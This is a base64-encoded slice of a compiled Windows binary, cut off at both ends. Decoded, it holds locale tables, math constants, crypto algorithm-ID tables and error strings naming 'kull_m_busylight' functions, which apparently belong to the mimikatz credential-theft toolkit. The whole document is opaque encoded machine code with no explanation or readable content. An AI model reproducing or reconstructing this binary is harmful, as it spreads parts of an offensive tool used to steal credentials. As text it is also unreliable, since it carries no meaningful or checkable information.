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gADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABoAEIAdQBzAHkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABkAGUAdgBpAGMAZQBIAGEAbgBkAGwAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBzAF8AZwBlAHQAIAA7ACAAUwBlAHQAdQBwAEQAaQBHAGUAdABDAGwAYQBzAHMARABlAHYAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwByAGUAcQB1AGUAcwB0AF8AYwByAGUAYQB0AGUAIAA7ACAAYwBvAHUAbgB0AD0AJQB1ACAAKABtAGEAeAAgAGkAcwAgADcAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcwBlAG4AZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgAFcAcgBpAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHMAZQBuAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABTAGkAegBlACAAaQBzACAAbgBvAHQAIAB2AGEAbABpAGQAZQAgACgAcwBpAHoAIAA9ACAAJQB1ACwAIABtAGEAeAAgAD0AIAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHMAZQBuAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABJAG4AdgBhAGwAaQBkACAARABlAHYAaQBjAGUALwBCAHUAcwB5ACAASABhAG4AZABsAGUACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcgBlAGEAZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgAFIAZQBhAGQARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcgBlAGEAZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgACUAdQAgAGIAeQB0AGUAKABzACkAIAByAGUAYQBkAGUAZAAsACAAJQB1ACAAdwBhAG4AdABlAGQACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAXwByAGUAYQBkAF8AcgBhAHcAIAA7ACAAWwBkAGUAdgBpAGMAZQAgACUAdQBdACAASQBuAHYAYQBsAGkAZAAgAEQAZQB2AGkAYwBlAC8AQgB1AHMAeQAgAEgAYQBuAGQAbABlAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHIAZQBhAGQAXwBpAG4AZgBvAHMAIAA7ACAAWwBkAGUAdgBpAGMAZQAgACUAdQBdACAAZABhAHQAYQBbADAAXQAgAGkAcwAgAG4AbwB0ACAATgBVAEwATAAgACgAMAB4ACUAMAAyAHgAKQAKAAAAAAAAAAAAuyfKOw4AAABg/AiAAQAAALsnyzsGAAAAsPwIgAEAAAC7J8w7AQAAANj8CIABAAAAuyfNOw4AAADw/AiAAQAAANgESPgGAAAAIP0IgAEAAAD4CyAQAgAAAGj9CIABAAAAAGRkAAMCAQEIdAmAAQAAABh0CYABAAAAKHQJgAEAAABIdAmAAQAAADRzCYABAAAAOHMJgAEAAABIcwmAAQAAAGhzCYABAAAAkHMJgAEAAADAcwmAAQAAAOhzCYABAAAAiIYJgAEAAAABgAAAAAAAAKCGCYABAAAAAoAAAAAAAAC4hgmAAQAAAAOAAAAAAAAA0IYJgAEAAAAEgAAAAAAAAOiGCYABAAAABYAAAAAAAAAAhwmAAQAAAAAkAAAAAAAAIIcJgAEAAAAAIgAAAAAAAECHCYABAAAAACAAAAAAAABghwmAAQAAAACkAAAAAAAAgIcJgAEAAAABZgAAAAAAAJiHCYABAAAACWYAAAAAAAC4hwmAAQAAAANmAAAAAAAA0IcJgAEAAAAEZgAAAAAAAOiHCYABAAAAAmYAAAAAAAAAiAmAAQAAAAFoAAAAAAAAGIgJgAEAAAACaAAAAAAAADCICYABAAAAAaoAAAAAAABIiAmAAQAAAAKqAAAAAAAAaIgJgAEAAAADqgAAAAAAAJCICYABAAAABKoAAAAAAACwiAmAAQAAAAOgAAAAAAAA0IgJgAEAAAAKZgAAAAAAAPCICYABAAAAC2YAAAAAAAAIiQmAAQAAAAxmAAAAAAAAKIkJgAEAAAAIgAAAAAAAAFCJCYABAAAAAUwAAAAAAAB4iQmAAQAAAAJMAAAAAAAAsIkJgAEAAAADTAAAAAAAAOCJCYABAAAAB0wAAAAAAAAQigmAAQAAAARMAAAAAAAAOIoJgAEAAAAFTAAAAAAAAGCKCYABAAAABkwAAAAAAACIigmAAQAAAA1mAAAAAAAAoIoJgAEAAAAJgAAAAAAAALiKCYABAAAACoAAAAAAAADYigmAAQAAAAuAAAAAAAAACIsJgAEAAAAOZgAAAAAAACiLCYABAAAAD2YAAAAAAABIiwmAAQAAABBmAAAAAAAAaIsJgAEAAAARZgAAAAAAAICLCYABAAAADIAAAAAAAACgiwmAAQAAAA2AAAAAAAAAwIsJgAEAAAAOgAAAAAAAAOCLCYABAAAABaoAAAAAAAD4iwmAAQAAAAGgAAAAAAAAEIwJgAEAAAADIgAAAAAAAPB6CYABAAAAAAABAAAAAAAwewmAAQAAAAAABwAAAAAAkHsJgAEAAAAAAAIAAAAAANB7CYABAAAAAAAIAAAAAAAwfAmAAQAAAAAACQAAAAAAkHwJgAEAAAAAAAQAAAAAANh8CYABAAAAAAAGAAAAAAAI